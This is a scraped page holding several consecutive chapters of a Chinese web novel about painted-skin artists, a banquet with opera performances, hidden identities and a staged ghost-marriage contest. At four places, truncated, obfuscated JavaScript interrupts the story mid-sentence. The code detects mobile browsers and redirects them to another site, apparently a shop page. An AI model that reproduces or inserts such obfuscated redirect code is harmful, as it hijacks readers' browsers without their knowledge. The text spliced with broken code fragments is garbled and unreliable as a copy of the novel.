RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912251|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之人。 卫影闷闷不乐,索性用手支着下巴,佯装专心看戏,实则心神不宁。 此时,戏台上的剧情正演进至高潮。 祝英台的女儿身秘密再也掩藏不住,与梁山伯楼台相会,互诉衷肠,情意绵绵,却又因现实的阻隔而悲恸万分。 “要我说,这戏啊,还是前半段最是精彩。”叶知舟忽然出声点评,打破了席间随着剧情而沉凝的气氛,“这后半段嘛,未免有些索然无味了。” “叶老板是觉得后面的剧情太过悲怆,不忍再看吗?”宋清河接腔道。 实则,是她自己不忍见那凄美的爱情以悲剧收场,方才以己度人。 “不是。”叶知舟笑着摇头,目光却似有若无地扫过宋清河,“叶某偏爱前半段,是因那时二人书院相伴,高山流水。那份情谊发乎自然,纯粹自然,最是动人。” “难道后半段生死相许的感情,就不纯粹了吗?”宋清河下意识反驳。 “后半段,梁山伯知晓了英台女儿身,情意虽真,却终究落入了才子佳人、男女痴缠的俗套剧情上。” 叶知舟话语微顿,目光刻意在宋清河面上停留一瞬:“反是前面那一段,因为性别的误会,情愫暗生却只能克制守礼,欲语还休,那才是最精妙、最令人回味之处。” 宋清河仿佛被这话语细微地刺中了心事,指尖几不可察地一颤,下意识避开了叶知舟仿佛能洞悉一切的目光,端起茶杯抿了一口,借以掩饰波动的心绪。 “百灵姑娘,你以为呢?”叶知舟见她不接话,自然而然地又将话头抛给了身旁的百灵。 宋清河状似无意地稍稍偏过头,眼角的余光却悄然落在百灵身上,屏息等待着她的答案。 “我觉得,无论之前的同窗之谊,还是之后的双双化蝶,都自有其动人之处。” 百灵给出了一个四平八稳的答案,这既是敷衍叶知舟的试探,也确实是她内心的真实想法。 “哦?如此说来,百灵姑娘认为前期也只是深厚的同窗之情?”叶知舟却不依不饶,步步紧逼,“倘若这祝英台,自始至终便真是男儿身呢?这份情谊又当如何?” “自然不止是同窗情那么简单,前期的感情更为复杂朦胧,难以轻易定义。” 百灵谨慎地斟酌着用词,试图从旁观者的角度理性分析:“但若祝英台真是男儿,梁山伯亦是男子,恐怕难容当下世俗,这出戏也就难以流传至今,出现在这戏台之上了。” 她的话语平静,只是陈述着一个她所以为的、冷酷的世间常态。 话音落下,她未曾注意,对侧的宋清河原本微微倾向她这边的身子稍稍僵了一下,随后悄然坐正,恢复了平日里那般清冷疏离的姿态。 她的目光重新投向戏台,只是那眼神,似乎比先前更淡了些,仿佛蒙上了一层看不见的薄霜。 “梁兄啊,英台若是女红妆,梁兄你愿不愿配鸳鸯?” “配鸳鸯,配鸳鸯,可惜你英台不是,不是女红妆啊……” “……” 24. 第二十四章 一出戏唱完,百灵身侧的周延玉不知何时已独自灌下了数壶烈酒,此刻在座位上身形摇晃,坐都坐不稳,显然已是酩酊大醉。 他最后一次试图端起酒杯时,手指颤抖得厉害,杯中之酒还没送到嘴边,就已泼洒了大半,浸湿了他的衣襟。 “不许再喝了!”百灵及时发现,眼疾手快地一把截住那只摇摇欲坠的酒杯,语气里带着责备,“没那个酒量,还学人贪杯,像什么样子?” “……” 周延玉已然说不出话,他脑袋一歪,彻底失了力气,软软地向后倒向椅背。 “百灵姑娘,”叶知舟适时开口,语气温和体贴,“看来小骨姑娘是醉得厉害了。不如我让人先送她下去,醒醒酒,好好歇息片刻。” “不劳烦叶老板了,”百灵婉拒得干脆,手下已用力将周延玉的座椅朝自己这边拉近了些,“还是我亲自看着他吧,他酒品不太好,怕发起酒疯来胡言乱语,冲撞了各位就不好了。 “既然如此,那我便让人先去备下醒酒汤,稍后送到。” “多谢。” 百灵道过谢,见周延玉身体歪斜得厉害,为防止他真的一头栽倒在地,她伸出手,轻轻托住他滚烫的侧脸和沉甸甸的脑袋,稍一用力,让他安稳地靠在了自己单薄的肩头上。 此时的周延玉仿佛彻底睡死过去,呼吸间带着浓重的酒气,身体温热而沉重,全然信任倚靠着百灵,任由她摆布。 “做作……”一旁的白夭夭极小声地嘀咕了一句,撇了撇嘴,扭过头去。 叶知舟将百灵细心的一系列动作看在眼里,不由得轻笑出声,打趣道:“看来百灵姑娘是个嘴硬心软的性子。话虽说得严厉,这照顾起人来,身体倒是很诚实。” “小骨是我的学徒,又孤身一人无依无靠,我总是要多关照些的。”百灵轻声解释道。 这番话,却像一根细小的刺,轻轻扎进了白夭夭的心口,泛起一阵难以言说的酸涩和惆怅。 她呢?她不也是无依无靠吗?怎么不见百灵这般殷切地来关照她?更何况,她认识百灵的时间,可比这个半路杀出来的小骨要早得多。 自从那日报名处一别,她再也没见过百灵,甚至连只言片语的口信都不曾收到过。 偏偏她还像个傻子一样,为了百灵去找叶知舟理论,结果人家或许根本就没把她放在心上。 今天对自己这般殷勤示好,怕不是做给叶知舟看的戏码吧? 叶知舟这人也是,古怪得很,无缘无故将她抬举成什么管家娘子,是想把她架在火上烤,日后好捧杀她吗? “夭夭,下一出可是你点的戏。”那个正在被她暗自腹诽的叶知舟忽然开口,声音温和地提醒道。 “哦。”夭夭心不在焉应了一声。 她没心思看戏点戏,叶知舟非要她点,无奈随意指了一个。 她点的这出戏是《铡美案》,讲的是负心汉陈世美高中状元后,贪图富贵,欺君罔上,抛妻弃子的故事。 台上,包公那沉浑有力的唱腔响起:“驸马爷近前看端详,上写着秦香莲她三十二岁,状告当朝驸马郎,欺君王,瞒皇上,悔婚男儿招东床,杀妻灭子良心丧……” “男人可真不是什么好东西。”宋清河义愤填膺,一连用了三个贬义词,“喜新厌旧,心狠手辣,薄情寡义。” 一旁的卫影默默哀叹。他在宋清河面前几乎卑躬屈膝,也换不来几分好颜色。 她究竟想要什么样的男人?这“薄情寡义”四个字,怕不是在说她自己。 “宋小姐,戏文不过是虚构的故事,供人逗乐排遣罢了,何必如此当真?”叶知舟笑着安抚道,“再者,喜新厌旧本是人之常情。” “哦?”宋清河挑眉,语带戏谑地反问,“那依叶老板看,你是个喜新厌旧的男人吗?” “恰恰相反。”叶知舟脸上掠过一丝颇为自得的神色,“叶某是个尤为怀旧之人,还时常梦见过去的事。” “那可真让人意外。”宋清河语气平淡,“叶老板起来像是个决绝果断,不会回头念旧的人。” “宋小姐对我误会颇深啊。”叶知舟摇头笑道,“虽是生意人,但我可是最重情义的,若非如此,芜月楼上上下下这许多人,老早就跑光了,岂会留至今日?” “是吗?”宋清河语带讥讽,“那等哪天我闲了,也来投奔你这芜月楼,好好感受一下叶老板的情深义重。” “乐意之至。”叶知舟面不改下应下。 第二出戏接近尾声,叶知舟转向始终一言不发的白夭夭,体贴道:“夭夭,这是你点的戏,觉得演得如何,合不合你心意?” 白夭夭只觉得他这问候虚伪至极,强忍着恶心,硬邦邦地回了句:“还行吧。” “你尽管实话实说。”叶知舟显然不满意她这敷衍的回答,再次追问,“若有不好之处,我让他们改就是了。” “……”白夭夭暗暗咬紧了后槽牙,索性破罐子破摔,“这陈世美演得不行,矫揉造作,浮于表面。” 她顿了顿,目光直直看向叶知舟,语出惊人:“要我看,叶老板你就挺合适的,那股子劲儿,根本不用演。” 此话一出,无疑是将叶知舟方才那番关于念旧的言论狠狠踩在了脚下,气氛瞬间凝滞。 宋清河看客一般饶有兴味地打量着白夭夭和叶知舟。 这两人倒是有意思,叶知舟怎么就选了这么个浑身是刺、毫不听话的人来做管家娘子。 然而,面对如此难听的话,叶知舟面上却依旧是一贯的云淡风轻。 他甚至低笑了一声,用半开玩笑的语气道:“看戏哪有演戏有趣?哪天得了空,我真去学学这出《铡美案》,到时,夭夭你可得来配合我。” 他不仅不恼,反而顺势而下,还将难题轻飘飘地反弹给了白夭夭。 “我看那公主一角就很适合你,你觉得呢?” “公主金枝玉叶,高贵端庄,我怎么演得来?”白夭夭面不改色地回怼,语气甚至更冷了几分,“我看还是包公更适合我,铁面无私,明察秋毫。” 更重要的是,包公,最终铡了陈世美。 “……”叶知舟脸上的笑容终于僵硬了一瞬。 他头一次在言语上吃了瘪,为了维持体面,他不再接话,只是端起桌上的酒杯,掩饰性地抿了一口。 “来人,添酒。”他放下酒杯时,声音明显冷了下去,不复往常那般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938170|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻意维持的温和。 于他而言,这已经是极力克制怒气的表现了。 身后的仆从立刻应声上前,小心翼翼地执起酒壶。 不知是因为太过紧张,还是清晰地感受到了主子身上散发出的低气压,那小厮的手猛地一抖,壶中的酒液竟不偏不倚,全数泼洒在了叶知舟华贵的衣袍上。 “小的该死!”仆从吓得魂飞魄散,猛地跪倒在地,竟下意识伸出手,用自己粗糙的袖口拼命去擦拭叶知舟衣袍上的酒渍。 “行了!”叶知舟猛地站起身,极其嫌恶地避开了他的手,硬生生忍住怒火,“退下。” 他深吸一口气,转向席间众人,勉强维持着最后的风度:“诸位,一点小意外,叶某失仪,先下去更衣,去去便回。” 说罢,他不再多看任何人一眼,拂袖转身离去。 罪魁祸首白夭夭幸灾乐祸偷笑。 宋清河不仅感慨,这人还到真有几分本事,能把体面的叶知舟惹得这样生气。 …… 叶知舟离席后,角落里那名跪地不起的仆从忽然浑身一颤,仿佛有什么东西从他体内被硬生生抽离,眼神瞬间变得空洞木讷,如同失去提线的木偶。 但仅仅一瞬之后,他又恢复了正常,仿佛刚才的异样只是错觉。 与此同时,一直倚靠在百灵肩头、看似烂醉如泥的周延玉,眼皮几不可察地微微颤动了一下。 “演技不错。” 百灵微微侧过头,用只有两人能听到的极低声音,在他耳边轻语。 周延玉依旧维持着深醉不醒的姿态,一动不动,仿佛真的不省人事。 当他的意识重新回归这具酩酊大醉的躯壳时,只觉脑海中一片混沌翻涌。 为了让这场戏足够逼真,他刚才可是实打实地灌下了大量烈酒,幸亏醉的是身体,离魂时的意识是清醒独立的。 要命的是,他惊觉自己原本应该只是歪倒在椅背上的身体,此刻竟有大半个身子都实实在在地陷在了百灵柔软温暖的怀抱里,脑袋还深深埋在她的颈窝。 这……是怎么回事? 是这具醉倒的身体不受控制地滑向了她,还是百灵主动将他揽过来的? 他不敢深想,脸颊瞬间烧得滚烫,一时间竟分不清这灼热是源于酒意,还是别的什么难以言喻的原因。 怀中人的体温陡然升高,百灵自然察觉到了,但她只当是醉酒后的正常反应,并未多想。 少女均匀而温热的呼吸轻轻拂过周延玉的额发和皮肤,像是最轻柔的羽毛来回扫过,带来一阵阵细微而磨人的痒意。 他必须承认,自己似乎并不排斥与百灵这样的肢体接触。 甚至,在心底某个角落,隐秘地滋生出一丝连自己都未曾预料到的贪恋。 他的鼻尖抵在百灵纤细的颈侧,能清晰地嗅到她身上那股淡淡的、带着植物清香的颜料气息,其间还混杂着一丝来自泥土的、朴素的芬芳。 这些味道奇异地交织在一起,构筑出一种雨过天晴、万物洗练后的干净与清新,让他混沌的头脑都仿佛清明了几分。 明明没有再摄入任何酒液,周延玉却觉得自己的醉意,似乎比方才更深了。 25. 第二十五章 宴会终于散场,宾客陆续离去。 百灵唤来卫影,两人一左一右,架起那个仍在不省人事的周延玉,准备将他送回住处。 真是个敬业的演员。 百灵内心默默感慨,将周延玉的重心完全交给卫影后,她抬手揉了揉自己几乎失去知觉的、被枕得酸麻不堪的肩膀和手臂。 中途她不是没尝试过悄悄唤醒他,但这人似乎彻底沉浸在了醉鬼的角色里,毫无反应。 为了不露破绽,百灵只得硬着头皮配合到底,结果就是付出了半边身子近乎麻木的代价。 临走前,她不死心,又小心翼翼地凑到白夭夭身边,试图搭话。 可白夭夭连正眼都没给她一个,反而将目光投向被架着的周延玉,酸溜溜地说道:“你的好学徒可还等着你呢,快去吧。” “......”百灵心下无奈,知道白夭夭这气一时半会儿消不了,此刻绝非解释的良机。 “我先把他送回房间,安顿好就来找你。”她留下这句话,便与卫影一同搀着周延玉离开了。 此刻,偌大的圆桌旁,只剩下白夭夭和尚未离去的宋清河。 “不如跟我说说,”宋清河主动打破沉默,将话题引向一脸郁结的白夭夭,“你们这是怎么了?” 白夭夭闻言,扭过头,上下打量了一番这位气质清冷的千金小姐,扯出一个没什么笑意的笑容:“没想到,您这样的大小姐,也喜欢打听别人的闲事?” “我只是不忍看见美人独自黯然神伤罢了。”宋清河直勾勾盯着白夭夭,话中之意不言而喻。 “油嘴滑舌。”白夭夭语气里带上了几分嗔怒,却也没多少真正的反感。 “让我来猜猜看。”宋清河不以为意,继续道,“你是因为百灵太偏爱那个学徒,所以生气了,是不是?” “是又如何?”白夭夭没有半点犹豫,大大方方地承认了。 她心想,宋清河既然是百灵的队友,接触机会自然多,让她知道自己的不快,或许也能间接传到百灵耳朵里。 “那你这口气,恐怕一时半刻是消不了了。”宋清河意味深长地拖长了语调。 “你什么意思?” “他们之间的关系恐怕比你想象中还要亲密些呢......” “怎么可能?”白夭夭心里咯噔一下,有些慌了,“他们才认识多久?” “认识多久我不清楚,”宋清河像一株带着诱人香气的食人花,引人深入,“但我可是知道,他们俩是会一起洗澡的关系。” 她刻意停顿,观察着白夭夭瞬间煞白的脸色,才缓缓补充道:“只怕,早已不只是单纯的师徒了。” 这番话如同惊雷,炸得白夭夭一时说不出话来,只觉得胸口发闷。 “不然你看。”宋清河趁热打铁,继续添油加醋,“刚才那学徒醉倒了,怎么就那么自然地歪在百灵身上,她非但没推开,还任由他靠着,这若不是习以为常,怎会如此?” “......” “一定是她在蛊惑灵姐。”白夭夭紧咬着下唇,内心剧烈挣扎了一番,最终像是找到了一个合理的解释,喃喃道,“一定是这样。” 她试图用这个结论来安抚自己混乱的心绪。 “你信不信,”宋清河语气笃定,仿佛早已看透一切,“她今晚说安顿好学徒就回来找你,不过是托词,她不会回来的。” “你怎么知道?”在宋清河的三言两语之下,白夭夭说话越来越没有底气。 “因为有人,会想办法缠住她呀。”宋清河露出一脸了然模样。 “......”白夭夭站在原地,深深地无力地叹了口气,眼中最后一点期待的光芒也黯淡了下去。 宋清河的解释,更加坐实了她的猜想。 目的达成,宋清河又客套地宽慰了白夭夭几句,便也独自离开了,留下白夭夭一人在空旷的宴客厅里,对着满桌狼藉,心乱如麻。 ...... 将周延玉送回房间安顿好后,百灵片刻未歇,转身便要折返去找白夭夭。 刚拉开房门,卫影却先一步挡在了门前。 “百灵姑娘,我有话想同你说。”他语气有些急切。 “卫影,我现在有急事,”百灵心中记挂着白夭夭,生怕又错过解释的机会,“有什么话,等我回来再说,好吗?” 卫影嘴唇动了动,似乎还想说什么,但最终只是点了点头:“好。” 百灵匆匆走出房间,刚踏入过道,便迎面遇上了正缓步走来的宋清河。 两人视线交汇,宋清河率先开口,语气平淡:“她不在了。” “什么?”百灵一时没反应过来。 略一思索,她才意识到宋清河指的是谁。“你是说,夭夭?” “嗯。”宋清河微微颔首,“你们离开后不久,她便也走了。” “怎么会……”百灵错愕不已,“我明明说了会回去找她的。” 惊讶之余,百灵难以置信,印象中的夭夭不是如此绝情之人,怎么会一点解释的机会也不给她。 “好像是叶老板派人叫走了她。”宋清河解释道,“毕竟她新任了管家娘子,叶老板应该有许多事要交代她,一时半刻怕是回不来了。” “原来如此。”百灵心下稍安,但仍抱着一丝希望追问,“那她走之前可有说什么?有没有托你给我带话?” “没有。”宋清河假意凝眉思忖几秒,摇了摇头,“她走的匆忙,什么话也没留下。” “好吧……” 百灵心中失落,但也无可奈何。 计划被打乱,她只得先处理卫影这边的事。 可她又遇到了同样的难题。 在这芜月楼,叶知舟的眼皮底下,哪里能找到安全说话的地方。 “放心吧,”卫影似乎看穿了她的顾虑,低声道,“小骨能做到的,我也可以,他们是听不见也看不见的。” 百灵又惊又喜,小骨说得没错,卫影的确是个强大妖怪。 “你们方才离席,在外面说了什么?” 很显然,卫影指的是在宴会上周延玉和百灵先后出去密谈那一次。 “小骨说,你的身份可能已经引起了叶知舟的怀疑,”百灵正色道,“从今往后,若非必要,你们尽量少接触,有什么事情由我代为传话。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975072|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “......”卫影沉思片刻,明白是自己在餐桌上的失仪引起了怀疑。 “是我连累了你们。”他恹恹低下头,语气中满是愧疚。 “这不怨你。”百灵温和安慰,“若换做是我,被逼迫同类相食,也会有所失态。” 卫影倏然睁大双眼,震颤道:“他......他连这个都告诉你了?” 他原以为百灵只不过只是被迫合作的盟友,不曾想君上对她如此不设防,连最核心的身份秘密都坦然相告。 “嗯。” 百灵顿了顿,视线有瞬间的游移,随即故作从容地点头应下。 果然还是卫影好下手,从他这里套话比想象中还要简单。 宴会上那道所谓的“天狗食月”根本不是什么狗肉,而是羊肉,应邀宴会之前,她多留了个心眼,提前看了菜单,根本没有狗肉做的菜,那完全是叶知舟信口胡诌的试探。 叶知舟试探卫影时,她没有立刻戳穿,因为她自己也好奇卫影的反应,以及叶知舟此举的真正目的。 结果卫影被这道狗肉吓到了,小骨替他接过了这个烫手山芋。 那时她就猜到了七七八八,小骨的犹豫更证实了她的猜想。 其实那时就算她不出手,小骨吃了反而能自证自己,事后再告诉他那是羊肉也不迟。 但这可是个卖人情的好机会,因此她果断出声,救小骨于水火。 什么小时候养过小狗的话都是她编的。 不过话说回来,也许她真有些训狗的天赋。 “他在宴会上故意喝醉,是有什么缘故?” 卫影的询问将百灵的思绪拉了回来。 “卫影,”百灵选择隐瞒真相,这既是周延玉的请求,也是她自己的考量,“有些事,知道得太多并非好事。” 卫影心思单纯,极易被人利用,知道得越少反而越安全。 “我不告诉你,并非不信任你,”她对着满脸困惑的卫影,耐心解释道,“而是想保护你,希望你能明白。” “……这也是他的意思,对吗?”卫影的声音带着一丝无力感。 “是的。” 忠诚之人最渴望的莫过于被认可和信任,而自从误入冥界,卫影似乎一直在失去这些。 察觉到眼前人情绪不对劲,百灵立刻转移话题,关切问候道:“最近在宋清河身边怎么样?她有没有为难你?” 这话好巧不巧,正中卫影下怀。 他最开始就想诉说不想再待在宋清河身边的意愿,可君上要求他们保持距离,肯定不会同意这个请求。 此刻被百灵问起,更是满腹委屈。 “没有。”卫影越想越难过,违心地低声回应。 百灵一眼就看穿了他的口是心非。 “我会去和宋小姐说的,让她多关照你,少让你干点活。”百灵柔声安抚道,尽管她也没把握能说服宋清河,但总好过什么都不做,“若是受了什么委屈,尽管来告诉我。” “好。”卫影抬起头,眼神湿漉漉的,带着感激和依赖,可怜巴巴地应了一声。 还真像只小狗......百灵心道。 26. 第二十六章 第二天一早,晨雾尚未散尽,百灵便匆匆找到周延玉,询问他昨夜回溯叶知舟记忆的发现。 一切如他们所料,叶知舟果然与妖怪有所勾结。 周延玉看见一个名为大虎的妖怪时常出现在叶知舟身侧,显然是被安排来监视他们的眼线。 不过,大虎的实力远在周延玉之下,他并未将其视作真正的威胁。 “那妖怪为何心甘情愿替叶知舟做事?”百灵不解。 “为了身体。”周延玉顿了顿,拿自身举例,“就像我和你之间的约定。” 这是个不恰当的比喻,至少在百灵眼里看来,小骨什么时候对自己是心甘情愿的? “这些都在意料之中。”周延玉继续描述所见,眉头微微蹙起,“但我看见最清晰的记忆片段,是他与宋清河……” “宋清河?” 百灵难掩惊讶,她清楚记得宋清河说自己不认识叶知舟这个人,怎么会私底下和他有交集。 当然,同样知晓此事的还有当时偷听的周延玉。 “他们都说什么了?”百灵忙追问。 “叶知舟似乎是假借你的名义,约宋清河深夜相见。随后二人达成了一桩交易。”周延玉言简意赅。 “什么交易?他们是早就认识吗?”百灵迫不及待想知道更多细节。 “应是旧识,但关系疏远,甚至不太融洽。”周延玉一边回忆一边推测。 “至于交易,和第二场比试有关,叶知舟承诺为宋清河量身定制一场冥婚,作为交换,条件是宋清河必须乖乖回家。” “宋家。”百灵垂眸思忖,“叶知舟必有所图,而达成目的离不开宋家的配合。” “据我所知,宋家专精冥婚,叶知舟所求,或许正与此有关。”周延玉顺着她的思路分析。 “可他究竟图谋什么呢?”百灵百思不得其解,轻叹道,“大概要等到第二场比试,也许能发现些端倪。” 除了叶知舟的动机,百灵更困惑的是,究竟怎样的冥婚才能称得上为宋家大小姐“量身定制”? 宋家本就是冥婚行业的翘楚,什么排场的婚礼宋清河没见过?叶知舟一个外行人,何来底气夸下海口? 难道宋清河有什么不为人知的特殊癖好? “这些事,还是不要告诉卫影。”周延玉提醒道,“毕竟他现在就在宋清河身边,是离她最近的人。” “我明白。”百灵点头。 而后她像是想到什么,婉言劝道:“我感觉卫影其实很想参与进来,总是把他排除在外,恐怕会伤了他的心。” 尽管在某些方面她与周延玉立场一致,但这种简单粗暴的处理方式并非她的作风。 至少她会愿意给卫影机会,回溯叶知舟的事情暂且不论,现在情况特殊,卫影作为宋清河的学徒加仆人,比任何人都有接近真相的优势。 “这是承诺,我没办法。”周延玉无可奈何摇摇头。 自幼一同长大,他岂会不懂卫影的心思? “承诺?”百灵捕捉到他话中的关键词。 “在我很小的时候,卫影的父母为保护我的双亲而牺牲,只留下他这一点血脉。” 周延玉目视远方,缓缓道出往事。 “自我记事起,母亲和父亲就叮嘱我,无论如何,绝不能让卫影陷入险境,避免悲剧重演。” 这上一代人之间的承诺,如今由周延玉背负并履行。 只可惜,这或许只是他的一厢情愿,卫影本人未必领情。 刻意将卫影隔绝于危险之外,难道就真的安全了吗? 百灵内心并不认同,但终究是别人的家事,她不便多言。 同时她也很意外,小骨竟然用到了危险这个词,还明示不愿卫影涉险。 那她怎么说,是要和自己共患难吗? 那不可能,他们只是盟友,百灵可不想搭上自己的小命。 “那万一哪天真的遇到危险,我……”百灵左右不放心,试探问道。 “你不会遇到危险,我也不会让那一天发生。”周延玉斩钉截铁地打断她。 “……”百灵没料到他会如此果断回应。 “这是结盟时你的要求,我答应过你的承诺,你忘了吗?”再次开口,周延玉语气中带了一丝怨气。 百灵自然没忘,只是事关性命,她必须再三确认。 “信任我,不许怀疑我,用任何方式试探我。”周延玉话里带刺,继续输出,“这话是谁说的?” 该死,这妖怪记性也太好了吧。 “你别生气嘛。”百灵心虚,迅速掏出自己带来的新头发,笑嘻嘻道,“我给你补新头发赔罪好不好?” 头发是老早之前给他备好的,只是一直放在不起眼的地方,百灵忘记了。 昨日小骨靠在她肩头,那头短发扎得她从脖颈到锁骨红了一片,这才想起该给他换新头发了。 百灵还特意扯开衣襟,露出泛着红痕脖颈,证明自己没有说谎。 周延玉见状,瞬间噤声。 他猛地别过脸去,心跳如擂鼓,目光游移,不敢再看那片刺目的红痕。 百灵只当他是理亏的表现,庆幸这肩膀没白靠,罪没白受。 …… 当晚,百灵主动敲开宋清河的房门。 既然卫影用不上,那就只能她亲自出马了。 叶知舟既能假借她的名义约见宋清河,说明自己在宋小姐心中尚有几分可信度。 或许是她们同为画皮师,或许她的按摩手法不错,总之,宋清河待她还是不错的。 “来得正好,帮我按按吧。”宋清河正在沐浴,房间弥漫着水汽,发梢还带着湿意。 只要有时间,宋小姐每晚都要沐浴,百灵正好是撞上了。 也好,边按摩边闲聊,或能让她放松警惕。百灵依言走到她身后,正要抬手,宋清河却侧身避开。 “先洗洗手吧。”她淡淡道。 “好,是我疏忽了。”百灵有些尴尬,正欲转身去净手,宋清河却先一步拉住她的手腕。 “出去一趟多麻烦。”话音未落,已牵着百灵的手浸入自己的浴桶中,甚至亲自撩水,细细为她清洗指尖。 百灵受宠若惊,侧过身的宋清河身前一览无遗,她只能别开无处安放的视线。 “都是画皮师,怎么我的手上没茧子呢?”宋清河抬头问道,眸光清亮。 “宋小姐金枝玉叶,怎能与我这般粗人相比。”百灵垂眸答道。 “……” 宋清河沉默片刻,松开了她的手,重新坐正身子,背对着她。 百灵会意,熟练地开始为她按摩肩颈。 “你是有什么想说的吧?”宋清河冷不丁来了这么一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997690|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百灵莫名心虚,她这么问,自己也不好直接直入主题。 “其实也没什么事。”她斟酌着措辞,“就是好奇第二场比试的内容,不知宋小姐是否听闻什么内幕消息?” “和冥婚有关。”宋清河答得干脆,毫不避讳。 她如此坦诚,反让百灵措手不及。 “可上次你不是说,自己不是关系户吗?” “怎么……”宋清河挑眉反问道,“就不允许我花点小钱打点,提前得知吗?” “自然,是可以的。”百灵一时语塞。 “就为了问这个?还有别的吗?” 百灵没话说了,宋清河却继续询问。 “还有,还有卫影……” 既然如此,趁此机会再替卫影说两句话吧。 “他怎么了?”宋清河一针见血,“不想干了吗?” “没有。”百灵忙替卫影否认,“他只是有些力不从心,觉得自己服侍不好你。” “那你让他别多想了,我觉得他干的还不错。” “……” 两人之间的巨大差异,无论是思想上还是阶级上,都让百灵意识到很难和她站在同一立场沟通。 “宋小姐不嫌弃的话,我可以替卫影分担些工作,毕竟是男子,有些事他可能做得不到位。” “你好像很会替他们这些人着想。”宋清河跳过她的提议,另起话头。 “他们?”百灵困惑。 “卫影,小骨,还有白夭夭……”宋清河细细数来。 “因为,他们都是我的朋友嘛。”百灵奇怪宋清河竟然问这样的问题。 大概是大小姐没有朋友,所以不理解吧。 “卫影是你的朋友的话,那我算吗?”宋清河就着这个话题不放了。 “当然……也算了。”百灵只得顺着她的话哄道。 “那你怎么叫他们是名字,叫我却是宋小姐。”宋清河埋怨道。 “我是怕你介意。”百灵有些语无伦次,这宋清河怎么像个孩子似的,“那以后我叫你清河了……” “嗯。”宋清河尾音微扬,带着几分得逞的傲娇,轻轻应了一声。 原来还是个没长大的大小姐啊…… “你这是怎么了?” 洗漱完毕,宋清河转过身,目光敏锐地落在百灵颈侧那片尚未消退的红痕上,眉头微蹙,语气里带着真切的关切。 “哦,这个啊。”百灵心里一紧,生怕提起小骨又惹得这位心思敏感的大小姐不快,只得含糊其辞,“是昨晚睡得不踏实,被蚊子扰得厉害,我自己不小心挠重了。” “那我给你换个房间吧,这样下去怎么行,晚上睡不安稳,还伤了自己。”宋清河尤为大方道。 “不用了,太麻烦了。”百灵连忙摆手拒绝,“我点个香就行了。” “好吧。”好意被拒,宋清河嘴角那点浅淡的笑意立刻敛去了几分,眼神也黯淡了些,明显有些不悦。 “我不太懂这些。”百灵察言观色,心知不妙,立刻放软了声音,找补道,“清...清河,你能帮我看看什么香可以驱蚊安神呢?” “可以。”宋清河脸色由阴转晴。 片刻之后,在宋清河异常热情的推荐和坚持下,百灵几乎是抱着一大堆各式各样的香盒、香囊、香饼离开了房间。那分量,足够她用到下辈子了。 27. 第二十七章 第二场比试的题目如期公布,果然与冥婚相关。 但出乎百灵意料的是,此次并非为形主绘制冥婚妆容,而是要求参赛者亲自登场,扮演婚礼中的新郎与新娘。 为了增添变数与难度,还设置了抽签环节,由天意决定各自扮演的角色。 比试前夜,抽签结果尘埃落定,几人反应各异,有人欢喜,有人愁。 百灵抽中了新郎签,对此她并无所谓,扮演新郎或新娘于她而言并无区别。 与她配对的新娘是宋清河,后者对这个结果似乎颇为受用,唇角始终带着一丝若有若无的浅笑。 然而另一对的氛围就截然不同了。 卫影虽抽到了新郎,可一想到要与自家君上扮演新婚夫妻,浑身上下每一根骨头都觉得别扭,脸色僵硬,眼神躲闪。 周延玉更是欲哭无泪,内心哀叹哪怕和卫影角色对调,情况都比现在要好得多。 “小骨,你不至于吧?”百灵见他一副如丧考妣的模样,忍不住打趣,“我们这四个人里,只有我抽到的性别和自己不一样,我都没说什么,你怎么反倒不乐意了?” 周延玉无言以对。 “小骨,你该不会是嫌弃卫影吧?”一旁的宋清河看热闹不嫌事大,也加入讨论中。 “没有的事,”周延玉立刻否认,迅速找了个借口,“我只是单纯讨厌婚礼这种繁琐的仪式罢了。” “虽说是假扮的冥婚,但按规矩,新娘要穿戴的服饰、要注意的礼节肯定比新郎繁琐辛苦得多。若是换了我,我也不愿做新娘。”卫影连忙开口,笨拙地试图为自家君上解围。 “有道理。”百灵点头表示理解。 “小骨,不如我和你换换角色。”卫影贴心提议道。 “这怎么行。”宋清河抢先一步否决,“这是比试的规则,抽到什么是什么,不能随便更改。” “无妨,”周延玉深吸一口气,已然接受了这个令他头疼的安排,“我就做这个新娘子吧。” 他之所以最终妥协,是因为心中另有考量。 